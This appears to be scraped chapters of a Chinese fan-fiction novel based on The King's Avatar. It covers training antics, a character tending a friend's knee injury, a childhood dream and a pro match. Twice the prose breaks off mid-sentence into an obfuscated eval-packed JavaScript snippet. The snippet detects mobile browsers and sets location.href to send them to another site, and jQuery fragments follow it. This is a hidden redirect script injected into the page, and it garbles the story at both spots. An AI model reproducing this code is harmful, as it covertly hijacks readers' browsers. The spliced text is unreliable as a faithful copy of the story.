第二天训练前,王杰希将那四盒巧克力带到了训练室,放在了最显眼的位置。 “新训练规矩,”王杰希的声音不大,却让所有队员都停下了动作,看向他和他面前那几盒绿色的东西,“个人训练中,出现非受迫性明显失误,或者团队模拟对抗中,因个人原因导致战术执行出现严重偏差的,”他顿了顿,拿起一盒巧克力,“吃一颗这个。” 队员们:“……?” 有反应快的,比如某个同样被夏轻禾“分享”过、或者看过论坛帖子的队员,脸色瞬间变了。其他人则是一脸茫然,看着那包装精美的巧克力,心里嘀咕:失误了请我们吃巧克力?队长今天这么温柔? 方士谦也是一眼就认出了这个巧克力,脸色顿时变得怪异起来。 很快,第一个幸运儿诞生了。一个年轻队员在走位练习时连续两次撞墙,被王杰希点名。 “吃一颗。”王杰希平静地说,打开盒子,递过去。 那队员受宠若惊地接过,放进嘴里。三秒后,训练室里响起了惊天动地的咳嗽和找水声。 所有队员,包括原本知情的,此刻都真切地感受到了这“奖励”的威力。看向那几盒绿色巧克力的眼神,瞬间从好奇变成了惊恐。 接下来的训练,微草队员们简直像打了鸡血一样,全神贯注,小心翼翼,力求完美,生怕自己一个不小心就要去品尝那“提神醒脑”的滋味。训练效率高得惊人。 以至于几天后,客场对阵蓝雨的比赛时,微草全队上下都憋着一股莫名的、想要迫切证明什么,或者单纯不想回去吃巧克力的劲头,打得异常凶猛积极,把准备充分的蓝雨都压制得有些喘不过气。 赛后,黄少天一边揉着发酸的手腕,一边溜到自家队长身边,小声吐槽:“队长,你说微草这帮人今天怎么了?吃错药了?跟有谁在后面拿鞭子抽他们似的!王杰希到底给他们灌了什么迷魂汤?” 喻文州看着对面微草队员虽然疲惫但眼神发亮、互相击掌的样子,又想起自己抽屉里那几盒绿色包装,笑了笑,没说话。 而这一切的始作俑者,夏轻禾小朋友,正和她的小伙伴们挤在训练营的电视机前,为微草的精彩表现欢呼叫好,讨论得眉飞色舞,对自己无意中引发的这一系列连锁反应,包括王杰希的新训练“激励”手段,以及微草队员们的“鸡血”状态,浑然不觉。 她只知道,微草赢了蓝雨,真是太厉害了! 19.第 19 章 秋日的晨光斜斜透过训练室的玻璃窗,在地板上投下斑驳的亮斑,风卷着桂花香飘进窗缝,混着满室的键盘敲击声、鼠标点击声,还有学员们凑在一起的低声交流,热闹又踏实。 训练营里已经坐了不少人,夏轻禾来得不算最早,却半点没带晨起的慵懒,指尖转着笔绕了两圈活动手腕,侧头跟旁边的高英杰搭话,指尖点着自己的平板屏幕,说着昨晚复盘比赛揪出的细节。 高英杰微微倾着身,视线黏在平板上,听得格外认真,偶尔抬手推一下鼻梁上的眼镜,小声说出自己的看法,指尖还会轻轻点着桌面,跟着梳理思路。 就在这时,训练室的门被轻轻推开,合页发出一声轻响。夏轻禾习惯性抬头,见是乔一帆,扬着笑抬手招呼:“一帆,早啊!” 话刚落,她脸上的笑意就淡了几分,她敏锐地发现乔一帆的脸色不太对劲。 他脸白得没什么血色,眉头轻轻蹙着,唇瓣抿成一道紧绷的弧线,连走路的步子都比平时慢了些,左腿落地时总带着点不易察觉的僵硬,像是不敢用力。 听见招呼,他抬眼望过来,声音比平日里的温和低了些,透着股强撑的平稳:“早,轻禾姐,英杰。” 打完招呼,他慢慢走到自己的位置旁,扶着桌沿小心坐下,动作放得极轻,生怕扯到哪里。 坐下后也没像往常一样立刻开电脑做热身,反倒微微低下头,左手飞快地往左腿膝盖上方揉了一下,指尖刚碰到布料就立刻收了回来,手指搭在键盘边缘时,指节都绷得比平时紧。 这小动作没逃过夏轻禾的眼睛,她心里咯噔一下,目光就没再从乔一帆身上挪开。接下来的基础热身练习,乔一帆努力跟着大家的节奏,可动作幅度明显收了很多。 喉结轻轻滚一下,像是在忍着什么,那点细微的动静,旁人没注意,却全落在一直留意他的夏轻禾眼里。 休息铃一响,学员们三三两两起身,有的端着水杯去接水,有的站在窗边伸懒腰,还有的凑在一起讨论刚才的操作。乔一帆却依旧坐在椅子上,微微弯着腰,右手悄悄按在左腿膝盖上,眉心蹙得更紧了,指腹轻轻揉着。 夏轻禾放下手里的水杯,抬脚就走了过去,无视高英杰投来的疑惑目光,拉过旁边的空椅子,在乔一帆身侧坐下,椅腿蹭过地板发出一声轻响。 “一帆,”她声音不大,却直截了当,“你腿怎么了?” 乔一帆像是被吓了一跳,猛地抬头,眼里闪过一丝慌乱,手指立刻从膝盖上挪开,攥在裤腿边,几秒后才强自镇定下来,扯出一个勉强的笑:“没、没什么啊轻禾姐,就是有点……有点酸。” “酸?”夏轻禾挑眉,半点不信,伸手点了点他方才按过的膝盖位置,“酸能让你走路都别扭?酸能让你做个热身都偷偷吸气?是不是磕着了?让我看看。” “真的没事……”乔一帆想往后缩了缩腿,手腕却被夏轻禾轻轻按住了。 “把裤子卷上去。”夏轻禾的语气没留半分商量的余地。 乔一帆看着她认真的眼神,知道瞒不过去了,脸上浮起一点无奈和窘迫,耳朵都微微泛红。他迟疑了两秒,还是慢慢弯下腰,左手抓着左边裤腿,小心翼翼地卷到膝盖以上,动作轻得怕扯到伤口。 夏轻禾凑近一看,眉头立刻拧成了疙瘩。乔一帆的膝盖上有一片明显的擦伤,油皮蹭掉了一大块,露出底下鲜红的嫩肉,边缘肿着一圈淡红,还有一点点透明的组织液渗出来,看着就疼。伤口上倒是涂了药膏,却抹得东一块西一块,乱七八糟的,也没贴东西保护,风一吹估计都得疼。 “这还叫没事?!”夏轻禾的声音不由得提高了一点,引来附近几个学员的侧目,她赶紧压低声音,语气里的火气却更明显了,“什么时候弄的?磕成这样都不知道好好处理?还硬撑着来训练?” 乔一帆低着头,手指无意识地抠着裤腿的布料,指腹都蹭得发红,声音小得像蚊子哼:“今天早上……来俱乐部的路上,不小心摔了一跤。”他顿了顿,头埋得更低了,“不想……给大家添麻烦。” “麻烦?!”夏轻禾简直要被他气笑了,抬起手想戳他的脑门,手到半空又怕吓着他,轻轻转了个弯,点在他没受伤的胳膊上,力道轻却带着点恨铁不成钢,“乔一帆!你这叫添麻烦?受伤了不处理硬撑着,回头伤口感染了、加重了,那才叫真麻烦!到时候别说训练,连站着都费劲。” 她越说越气,想起以前在幼儿园,网游里,他也是这样,受了委屈、遇到难处都藏着掖着,从来不肯主动说一句。“你从以前就这样!什么事都自己扛,把‘不麻烦别人’刻在骨子里了是不是?” 正说着,高英杰也快步走了过来,看到乔一帆膝盖上的伤,眼睛倏地睁大了,脸上满是惊讶:“一帆,你受伤了?怎么弄的?疼不疼?” “正好,英杰!”夏轻禾立刻转头指挥,“医务室进门左手边第二个柜子,有备用的碘伏、棉签和创可贴,还有管促愈合的药膏,你快去拿过来!” 高英杰看了眼乔一帆的伤口,又看了看夏轻禾严肃的表情,立刻点头:“好,我马上去!”话音落,转身就小跑着出了训练室,脚步都比平时急。 乔一帆看着高英杰跑远的背影,又转头看向夏轻禾,她脸上还带着点没消的火气,却又隐隐透着担忧,心里涌上一股说不清的滋味,羞愧里裹着暖意,还有点手足无措。“轻禾姐……真的不用这么麻烦你和英杰的,我自己待会去医务室弄就好……” “待会?等你训练完一瘸一拐地挪过去?”夏轻禾白了他一眼,“你看你这药膏涂的,跟鬼画符似的,能管用才怪!伤口得先清洁消毒,再好好涂药膏,贴个透气的创可贴保护着,不然再蹭到、沾到灰,感染了怎么办?这些常识你都忘光了?” 乔一帆被她说得哑口无言,只能继续低着头,指尖抠着裤腿,耳根的红还没消。他不是不知道这些,只是习惯了什么事都自己来,尤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065489|194490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其是在训练营里,大家都在拼尽全力训练,他不想因为一点小伤就显得娇气,更不想耽误别人的时间。 没一会儿,高英杰就跑回来了,怀里抱着一个简易的小医药包,跑得额角冒了点细汗,把包放在旁边的桌子上,连忙打开:“轻禾姐,东西都拿了,碘伏、棉签、创可贴还有药膏,都在这。” “东西齐了就好。”夏轻禾说着,利索地拧开碘伏瓶盖,抽出一根棉签,蘸了蘸碘伏,转头看向乔一帆,语气软了点,“忍着点啊,碘伏碰着伤口会有点刺疼。” 乔一帆点点头,攥紧了放在腿上的右手。夏轻禾先用干净的棉签,小心地把他膝盖上涂得乱七八糟的药膏擦干净,然后捏着蘸了碘伏的棉签,轻轻擦拭伤口周围的皮肤,动作放得极轻,生怕弄疼他。碘伏碰到破损的嫩肉时,乔一帆忍不住吸了口凉气,身体微微一颤,指尖攥得指节发白,却咬着牙没哼一声。 夏轻禾一边擦一边说:“好了好了,马上就好,消完毒就不疼了,英杰,帮我把药膏递过来。” 高英杰连忙拿起药膏递过去,还贴心地拧开了盖子。夏轻禾挤出一点药膏在棉签上,均匀地涂在乔一帆的伤口上,薄厚刚好,然后拿起一个大的透气创可贴,对准伤口小心地贴上去,又用指腹轻轻按了按创可贴的边缘,确保贴得牢固,不会轻易掉下来。 “搞定!”夏轻禾松了口气,把用过的棉签丢进旁边的垃圾桶,拧好碘伏瓶盖,把东西都收拾回医药包里,“这两天别让伤口沾水,训练的时候也注意点,晚上回去记得再换一次药,换之前再用碘伏消个毒。” 乔一帆低头看着自己膝盖上,那个贴得方方正正、干干净净的创可贴,再抬眼看向夏轻禾,她额角因为刚才的忙碌,渗了一点细汗,鬓角的碎发贴在脸颊旁,还有旁边的高英杰,正一脸关切地看着他的膝盖,眼里满是担心。 一股温热的情绪猛地涌上心头,撞得他眼眶都有点发热,鼻尖微微发酸,声音也带着点不易察觉的哽咽,却努力绷着:“谢谢……轻禾姐,谢谢英杰。我……我以后会注意的,真的……谢谢你们。” “谢什么谢!”夏轻禾抬手拍了拍他的肩膀,力道放得极轻,怕震到他的伤口,“我比你大,本来就该多照顾你点,再说了,咱们不是朋友吗?”她顿了顿,语气软了下来,“朋友之间,互相照顾本来就是应该的,以后有什么事,别再自己闷着硬扛了,说出来又不丢人,大家一起想办法,总比一个人憋着强,知道吗?” 高英杰也在一旁用力点头,镜片后的眼睛透着认真:“嗯,一帆,轻禾姐说得对。训练已经够辛苦了,受伤了更要好好照顾自己,不然身体熬坏了,反而更影响训练。以后再有这种事,你跟我说,我陪你去医务室就行。” 乔一帆看着他们,眼里的温热慢慢散开,用力点了点头,嘴角扯出一个真切的笑,虽然还有点不好意思,却比刚才放松了太多,眉眼间的紧绷也散了:“我知道了。以后……不会了。” 20.第 20 章 和夏轻禾、高英杰在训练营门口挥手道别,乔一帆又望着刘小别的背影拐向另一条巷口,才慢慢转过身,独自踏上了回家的路。 心里还留着方才的暖意,指尖似乎还能触到高英杰帮他贴创可贴时的轻软,夏轻禾皱着眉数落他不小心的模样也在眼前晃,他微微垂着眸,嘴角压着一点自己都没察觉的笑意,又有点羞赧——总觉得自己这点小伤,惹得他们记挂,怪过意不去的。 秋夜的街道褪去了白日的喧闹,只剩晚风轻轻扫过路面,路灯的光落在他身上,影子被拉得忽长忽短,跟着脚步晃悠。 膝盖上的创可贴蹭着裤腿,传来细碎的摩擦感,伤口早不怎么疼了,只是皮肤绷得发紧。可那点皮肉的微涩,远抵不过心里的暖。 他想着夏轻禾炸毛似的把他拉到一边,翻出创可贴时的急脾气,却又小心翼翼避开伤口,指尖轻轻按着创可贴边缘帮他捋平的动作;想着高英杰不善言辞,只是蹲下来,指尖轻轻按着创可贴边缘帮他贴平整的模样,让他鼻尖微微发臊,下意识地攥了攥衣角,觉得自己这般容易被小事打动,未免太矫情。 他抬手摸了摸口袋里的钥匙,冰凉的金属硌着掌心,才稍稍把飘远的神思拉回来。 也难怪,从小到大,除了爸妈偶尔的叮嘱,很少有人这般直白地把他放在心上记挂,训练营里的伙伴们,是第一个让他觉得“不是一个人”的群体,哪怕只是这点小事,也足够让他心里软上好久。 就像上次训练他走位出错,蹲在角落复盘时,夏轻禾没说安慰的话,只是扔过来一包他爱吃的抹茶味饼干,坐在旁边陪他一起看回放,偶尔戳戳屏幕指出错处,语气凶巴巴的,却把饼干的夹心都掰给了他。 拧开家门,迎接他的只有满屋子的寂静和昏沉。 客厅的窗户没关严,夜风钻进来,撩得窗帘轻轻晃,带起一点凉意。 乔一帆摸索着按亮玄关的灯,暖黄的光漫开,驱散了黑暗,却赶不走屋子里空荡荡的冷清。他站在玄关顿了顿,目光扫过空荡荡的客厅,心里没什么波澜,只是轻轻吁了口气,他早就习惯了这样的安静。 爸妈都是医生,一个守着心外科,一个泡在急诊科。加班、值班、紧急手术是家常便饭。他从小就知道,爸妈的时间不属于家里,不属于他,属于那些在生死线上挣扎的病人。 所以他最先学会的,是踮脚够微波炉的按钮热饭,是自己把课本叠进书包,是放学回家推开门,对着空落落的客厅小声说一句“我回来了”,再自己轻轻应一声“嗯,回来啦”——像是给自己找个伴,免得这屋子安静得太让人难受。 他从不会抱怨,只是偶尔看到同学放学有爸妈接,一家人说说笑笑回家,会悄悄多看两眼,心里掠过一点淡淡的羡慕,随即又摇摇头,把那点情绪压下去,爸妈是在救人,他该懂事。 可每次夏轻禾的妈妈喊着轻禾的名字,顺带也朝他挥挥手说“一帆一起回家吃饺子啊”,他心里都会有些期待的,那是属于家的热闹,是他悄悄羡慕的模样。 他放下背包,走到厨房倒了杯温水,咕咚咕咚喝了两口,温热的水流过喉咙,稍稍驱散了身上的凉意。 冰箱门上贴着张便利贴,是妈妈娟秀的字迹,墨迹还带着点浅淡的印子,想来是出门前匆忙贴上的:“一帆,爸妈今晚都有手术,可能很晚回,冰箱里有饭菜,热一下吃。记得早点休息。——妈妈” 乔一帆盯着便利贴看了几秒,妈妈总是这样,再忙也不会忘了给他留话,哪怕只是一张小小的便利贴,也藏着最细的牵挂。 他抬手把便利贴揭下来,仔仔细细折成小方块,放进旁边的塑料收纳盒里——盒子里已经攒了厚厚一叠,都是这样的纸条,有的字迹潦草,有的带着褶皱,却都是爸妈在忙碌间隙,给他的全部温柔。 他偶尔会翻出来看看,看着那些熟悉的字迹,就觉得爸妈其实一直都在身边。收纳盒的角落,还放着一枚磨得光滑的玻璃弹珠,是小时候夏轻禾赢了别的小朋友,硬塞给他的,说“拿着,辟邪”,他便收了这么多年。 他没去碰冰箱里的饭菜,没什么胃口,心里还装着训练营里的那些温暖,反倒觉得此刻的冷清更甚,吃什么都味同嚼蜡。 简单洗了把脸,漱了口,便回了自己的房间,轻轻带上房门,像是把外面的寂静都隔在了门外。换上宽松的睡衣,关了灯,他轻轻躺到床上,床垫陷下去一点,裹着熟悉的味道,让他稍稍放松下来。 枕头边还放着一个磨边的荣耀徽章,是上次战队团建赢的,夏轻禾嫌样式不好看,塞给了他,他却宝贝似的放在枕边。 身体的疲惫这时候才真正涌上来,裹着训练了一天的酸胀,从四肢百骸漫上来,像潮水似的,把所有的力气都抽走了。 脑子里乱糟糟的,一会儿是训练时的走位失误,一会儿是夏轻禾教他的技巧,一会儿是高英杰温和的提醒,那些战术琢磨、技能衔接,都慢慢糊成一团,变得模糊。 他想再复盘一遍,可眼皮重得抬不起来,脑子也转不动了,索性放空自己,什么也不想。 几乎是脑袋刚沾到枕头的瞬间,意识就沉沉坠进了黑暗里。 然后,他做了个梦。 梦里的光线蒙着一层薄纱,带着老照片似的昏黄,场景是再熟悉不过的幼儿园操场。彩色的滑梯、摇摇晃晃的跷跷板、沙坑边的小铲子,还有一群穿着花花绿绿小衣服的孩子,跑着闹着,笑声飘得很远,热闹得晃眼。 小小的乔一帆,比现在还要瘦小,安安静静缩在角落,要么蹲在地上盯着蚂蚁搬家,手指轻轻点着地面,跟着蚂蚁的脚步慢慢挪,要么捏着几块积木慢慢搭,搭倒了也不恼,只是重新再来。 他不爱说话,也不知道怎么和别的小朋友玩,看着他们成群结队,心里会有点小小的羡慕,却又不敢上前,怕被拒绝,怕被嫌弃,索性就一个人待着,安安静静的,至少不会出错,不会被讨厌。 可偏偏这样的安静,总被几个调皮的小男孩盯上,他们总喜欢欺负这个不爱说话、不会反抗的小不点。 “乔一帆,把你饼干交出来!”一个男孩伸手推了他一把,他踉跄了一下,手里的饼干盒掉在地上,小熊形状的饼干撒了一地,那是妈妈早上特意给他装的。 “还有你的小汽车,借我玩玩!不借?真小气!”另一个伸手就去抢他手里的玩具,他攥得紧紧的,却抵不过对方的力气,玩具被硬生生夺了去,他还被故意伸脚绊倒,摔在沙坑里,手心和膝盖都磨出了红痕。 他抿着红红的嘴,眼睛里蓄着泪,水汽氤氲了视线,却硬是憋着没让掉下来。 他从小就知道,哭也没用,爸妈不在身边,老师未必能及时看到,哭只会让那些人更得意。所以他自己撑着地面爬起来,拍拍衣服上的沙土,把掉在地上的饼干捡起来,吹吹上面的沙子,默默走到一边,蹲下来继续抠地上的小石子,心里像嚼了一颗没熟的青梅,却又不知道该跟谁说。 直到有一天,一个扎着两个冲天辫的小丫头,像颗小炮仗似的冲了过来,小小的身子挡在了他身前,把他护在身后。 那一瞬间,乔一帆愣住了,他看着小丫头的背影,羊角辫上的粉色蝴蝶结晃来晃去,心里突然涌起一股说不清的感觉,像是抓住了一根救命稻草,又像是突然有了一道光,照进了他灰蒙蒙的小世界。 “喂!你们干嘛欺负人!”小丫头叉着腰,仰着小脸,声音脆生生的,带着一股子不容置疑的气势,哪怕个子比那些男孩矮,也半点不怯。 那几个小男孩显然认识她,脸上有点怂,却还嘴硬:“关你什么事!夏轻禾,你别多管闲事!” “他是我朋友!当然关我事!”小夏轻禾往前迈了一步,小眉头皱得紧紧的,小脸涨得通红,“把饼干还给他!还有小汽车!快!” “就不还!有本事你来抢啊!” 然后……梦里的画面就乱了起来。乔一帆只记得,夏轻禾像只炸了毛的小狮子,扑上去就和他们扭打在一起,个子不比那些男孩高,却一点都不怯,手脚并用,没什么章法,却硬是凭着一股不服输的劲,把饼干和小汽车抢了回来,塞回他手里。 她自己的头发乱了,小脸上蹭了块灰,粉色蝴蝶结也掉了一个,衣服也沾了沙土,却一点都不在意,还伸手帮他拍了拍身上的沙子,指尖轻轻拂过他磨红的膝盖,问“疼不疼”,语气依旧凶巴巴的,指尖却放得极轻。 她转过身,看着还愣在原地的乔一帆,拍了拍自己的小胸脯,小脸上满是认真,还有点小骄傲:“一帆,以后他们再欺负你,就跟我说!我帮你打回去!” 小小的乔一帆抱着失而复得的饼干和小汽车,抬头看着眼前的小丫头,明明自己模样狼狈,却像个英雄,替他挡住了所有的恶意。心里涨满了说不清的滋味,那点酸涩和委屈,好像一下子就被冲散了。 他张了张嘴,小声说:“轻禾姐,女孩子还是不要打架的好……”他是怕她受伤,怕她因为自己被欺负。他挑了一块最大的饼干,递到她嘴边,小声说“给你吃”。 “谁说女孩子不能打架了!”夏轻禾瞪圆了眼睛,理直气壮,张嘴咬了饼干,含糊不清地说,“他们欺负你哎!你可是我的朋友!” 那是他第一次,被人坚定地称作“朋友”,被人毫无保留地护在身后,被人理所当然地划进“自己人”的圈子。他捏着温热的小汽车,看着夏轻禾鼓着腮帮吃饼干的模样,心里悄悄想,有朋友,原来是这样的感觉,真好。 梦里的画面轻轻流转,不再是具体的事,而是一片片模糊又温暖的碎片。小学时,夏轻禾总背着书包,站在他家楼下喊他的名字,风风火火地拉着他的手腕一起上下学,她的手心暖暖的,总是出一点小汗,却攥得很紧,怕他走丢。路上叽叽喳喳说个不停,讲学校的趣事,讲新看的漫画,而他就安安静静跟在旁边,听着,偶尔点点头,嘴角轻轻弯一点弧度。 他喜欢被她拉着手腕的感觉,很安心,好像只要跟着她,就不用怕迷路, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065490|194490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不用怕孤单。 他会悄悄把妈妈给的糖果塞给她,橘子味的,是她最爱吃的,看着她眼睛亮起来的模样,自己也觉得甜。 下雨天,她会举着一把大伞,把大半都偏向他这边,自己的肩膀湿了也不在意,还说“我皮糙肉厚,不怕淋”。 初中时,他因为性格内向,说话轻声细语,被几个同学孤立,他们背后说他矫情,说他不合群,甚至故意藏起他的课本。 夏轻禾知道后,二话不说,拉着他站在全班同学面前,叉着腰,声音清亮地宣布“乔一帆是我最好的朋友,谁欺负他我就跟谁没完”。她的语气莽撞,甚至有点不讲理,却把他护在身后,像小时候那样,手悄悄攥着他的胳膊,给他撑腰。 那一刻,乔一帆看着夏轻禾的背影,想说谢谢,却又说不出口,只能悄悄攥住她的衣角。从那以后,再没人敢当面找他麻烦,而他也更依赖她了,习惯了她的保护,习惯了她的陪伴。 晚自习放学,她会陪他走夜路,拿着一个小小的手电筒,照在他脚前的路上,说“我怕你踩空”,明明她自己也怕黑。 再后来,他们一起迷上了荣耀,一起坐在电脑前在网游里摸索,夏轻禾永远冲在前面,操作着角色横冲直撞,而他则习惯性地跟在她身后,补刀,掩护,在语音里小声提醒她“轻禾姐,注意血线”“左边有怪”。 他不喜欢冲在前面,却喜欢跟在她身后,为她保驾护航,看着她打胜仗时欢呼的模样,趴在桌上拍着他的胳膊喊“一帆我们赢了”,他比自己赢了还开心。 她打输了会闹小脾气,鼓着腮帮戳键盘,他就默默帮她复盘,一点点指出错处,她会凑过来听,脑袋挨着他的肩膀,头发蹭着他的耳朵,暖暖的,痒痒的。他想,就这样一直跟着她,好像也挺好。 夏轻禾的身影,总是那么明亮,那么有活力,像一团永远烧着的小火苗,走到哪,就把光和热带到哪,驱散了他周围的阴霾,她像一道光,照进了他原本安静又灰暗的世界,让他知道,原来生活可以这么热闹,原来被人记挂、被人保护,是这样的感觉。 他习惯了她的存在,习惯了她的叽叽喳喳,习惯了她的护短,习惯了她回头喊他“一帆”的模样——好像只要她在,天塌下来都有人一起扛。 她会记得他所有的小喜好,抹茶饼干、橘子糖、不爱吃香菜,会在他训练累了的时候,递上一瓶温的蜂蜜水,会在他迷茫的时候,拍着他的肩膀说“乔一帆你很棒,别怂”。 朋友吗…… 梦中的乔一帆,或者说,沉在睡眠里的乔一帆的意识深处,轻轻问了自己一句。心底有个声音在回答,是,她是最好的朋友,是陪了他十几年的朋友,是他最依赖的人。 可又好像,不止是朋友。 是从什么时候开始的呢?那份藏在心底的依赖,那份习惯了她在身边的安心,慢慢发酵,悄悄变成了某种更柔软、更隐秘的情愫,缠缠绕绕,落在心底最软的地方,连自己都不敢轻易触碰。 是幼儿园里,她第一次挡在他身前,叉着腰护着他,接过他递的饼干,嘴角沾了饼干渣的那一刻? 还是小学时,下雨天她把伞偏向他,肩膀湿透,却笑着说没事,他看着她湿漉漉的发梢,想伸手帮她捋干的那一刻? 亦或是初中时,她拉着他站在全班面前,手攥着他的胳膊,掌心的温度透过衣服传过来,他心跳失控的那一刻? 还是晚自习的夜路上,她举着手电筒照在他脚前,自己的影子缩成小小的一团,他想把她护在身后的那一刻? 又或是荣耀里,她凑过来听复盘,脑袋挨着他的肩膀,呼吸拂过他的耳朵,他浑身僵硬,却舍不得移开的每一个瞬间? 他自己也不知道。 喜欢上夏轻禾这件事,似乎从来没有明确的起点,它就像呼吸一样自然,像影子一样默默跟随,在他自己都未曾察觉的时候,已经在心底深深扎了根,发了芽。 他不敢承认,也不敢多想,怕这份心思被察觉,怕连朋友都做不成。 他只想就这样,陪在她身边,做她身后的一帆,看着她发光发热,看着她开开心心,就够了。哪怕这份喜欢,只能藏在心底。 梦里,夏轻禾的笑脸渐渐模糊,化作一片暖融融的光晕,裹着他,轻轻的,软软的,像被阳光抱着,无比安心。她好像又在喊他“一帆”,声音清亮,像小时候那样。 睡梦中的乔一帆,睫毛轻轻颤了颤,眼角带着一点淡淡的湿意,嘴角却无意识地牵起一个极淡、极温柔的弧度,连呼吸都变得轻缓,带着一丝甜意。 他好像在梦里,又轻轻应了一声,伸手想抓住那抹光晕,像小时候抓住她的手腕那样。 然后,光晕慢慢散去,梦境沉入更深的黑暗。 窗外,城市的霓虹隔着窗帘,投下淡淡的光影,秋虫藏在草丛里,偶尔发出一两声细碎的鸣叫。 房间里,只有少年均匀而绵长的呼吸声,轻轻的,在寂静的夜里,格外安稳。 21.第 21 章 国庆假期的热闹还没完全褪尽,B市街头巷尾仍飘着庆典的余温,可对夏轻禾来说,这个假期最重头的事——姐姐夏茗的婚礼,早已圆满落了幕。 十月一号那天,婚礼办得热热闹闹又温温柔柔。亲友的祝福声裹着红绸的喜气,穿洁白婚纱的夏茗挽着笔挺西装的秦天然,他脸上挂着温和的笑。 夏轻禾当伴娘忙前忙后,转头望见姐姐眼里的幸福,莫名生出种“我家姐姐总算嫁出去了”的成就感,嘴角翘着就没放下来过。 婚礼散场,按习俗夏茗搬去了秦天然那边,开始了小家庭的日子。爸妈本就忙,婚礼一结束便各自扎回工作里,前几天还挤着亲友、闹哄哄的家,瞬间就静了下来,冷清得有些突兀。 夏轻禾蜷在客厅的沙发里,目光扫过空荡荡的玄关,姐姐常放包包的挂钩空着,茶几上也没了她随手摆的零食罐。窗外偶尔掠过汽车的鸣笛声,飘进来又很快散了,她头回觉得,这房子好像大得有点过分。以前姐姐在,哪怕常出差、常忙自己的事,家里总归有个人气儿;如今姐姐嫁了,爸妈常年不着家,她竟提前体会到了“空巢青年”的滋味。 “啧,不能闲着想这些。”她甩了甩头,把那点突如其来的感伤扫开,指尖下意识摸向口袋里的荣耀账号卡,注意力重新落回熟悉的游戏里。 第六赛季的常规赛正打得热火朝天,卫冕冠军微草开赛以来稳扎稳打,牢牢霸着积分榜榜首;紧随其后的蓝雨咬得很紧,黄少天在选手群里因芥末巧克力事件“声讨”王杰希的余波还没消,两队在榜上的你追我赶,看得粉丝们直呼过瘾。 而微草的下一场主场,对手竟是老牌豪门嘉世。 嘉世这几个赛季成绩起起伏伏,早没了三连冠时那股独孤求败的劲儿,可只要那个男人还在,就没人敢真的小瞧这支队伍。叶秋,荣耀教科书,领着嘉世拿下三个总冠军的传奇队长,他的存在本身,就是一种无声的威慑。 夏轻禾早就盼着这场比赛了。她打心底崇拜叶秋,也好奇如今的微草遇上嘉世,会撞出怎样的火花。她本想拉着她那几个小伙伴们一起去现场,可高英杰被王杰希塞了额外的战术分析作业,刘小别约了人练手速对抗,翻来翻去,竟只有乔一帆有空。 “一帆!微草主场对嘉世!去不去?现场票!位置超棒的内场!”夏轻禾手指飞快,在群里狠狠@乔一帆。 没两分钟,乔一帆的消息就跳了出来:好啊,我可以去。 比赛日当晚,夏轻禾和乔一帆又坐在了微草主场的观众席上,位置依旧靠前,视野绝佳。场馆里早被热烈的气氛灌满,微草粉丝的绿色应援海铺了大半个场馆,远道而来的嘉世粉丝守着一片红,两方的助威声此起彼伏,喊得场馆顶都快掀了。 可比赛的过程,远比夏轻禾预想的要艰难。 个人赛、擂台赛,微草和嘉世打得有来有回,比分咬着交替上升,每一分都挣得费劲。可到了团队赛,那个熟悉又让人头皮发麻的叶秋式节奏,猝不及防就铺展开来。 叶秋的一叶之秋,苏沐橙的沐雨橙风,这对联盟最出名的黄金搭档,一如既往地打出了令人窒息的默契。 苏沐橙的枪炮师架起炮口,精准的远程火力层层覆盖,把微草的走位死死压制,给叶秋撕开一个又一个切入的缺口;而叶秋的战斗法师,操作依旧像教科书般精准高效,却又藏着他独有的、抓不住的灵动,总能在所有人都想不到的时机,出现在最要命的位置,一杆却邪舞得虎虎生风,搅得微草的防线乱作一团。 微草的阵容在王杰希的调度下拼尽全力,方士谦的牧师冬虫夏草满场奶,治疗技能甩得不停,拼了命想稳住队伍的血线,可叶秋和苏沐橙的配合一环扣一环,一次次撕裂微草的防守,把他们的战术节奏搅得支离破碎。 夏轻禾看得手心全是汗,手指紧紧攥着看台的栏杆,眼睛一眨不眨地盯着大屏幕。她能看到王杰希的王不留行满场游走,魔术师打法耍到极致,拼命牵制、寻找反击的机会;也能看到方士谦在枪林弹雨和战斗法师的突击下,脚步踉跄却依旧不肯后退,死死咬着牙维持着治疗线。可叶秋和苏沐橙的攻势就像涨潮的海水,一波接一波,涌上来就不肯退,压得人喘不过气。 最终,一番苦战过后,微草还是在主场遗憾落败。当嘉世战队的队员们起身向观众致意时,场馆里响起了一阵复杂的掌声——有给客队的敬意,也有对主队失利的惋惜,混着几声轻轻的叹息。 夏轻禾长长吐了口气,后背靠在椅背上,肩膀微微垮了垮。输了,心里难免有点失落,可更多的,是实打实的服气。 “那可是叶秋啊……”她喃喃自语,转头看向身边的乔一帆。少年全程全神贯注,眼睛都没离开过屏幕,此刻脸上还带着未散的思索,眼底藏着一丝难以掩饰的震撼。 “叶秋前辈和苏沐橙前辈的配合,太厉害了。”乔一帆轻声说,指尖微微蜷着,“几乎找不到一点破绽。” “是啊。”夏轻禾点头,语气里满是赞叹,“王队和方副队已经打得够好了,可还是……差了一点。这就是顶尖大神和黄金搭档的实力吧。” 两人随着退场的人流慢慢往外走,输掉比赛的微草粉丝们情绪不算高,却也没什么抱怨,三三两两聚在一起,嘴里还聊着比赛里的细节,琢磨着哪里出了纰漏。 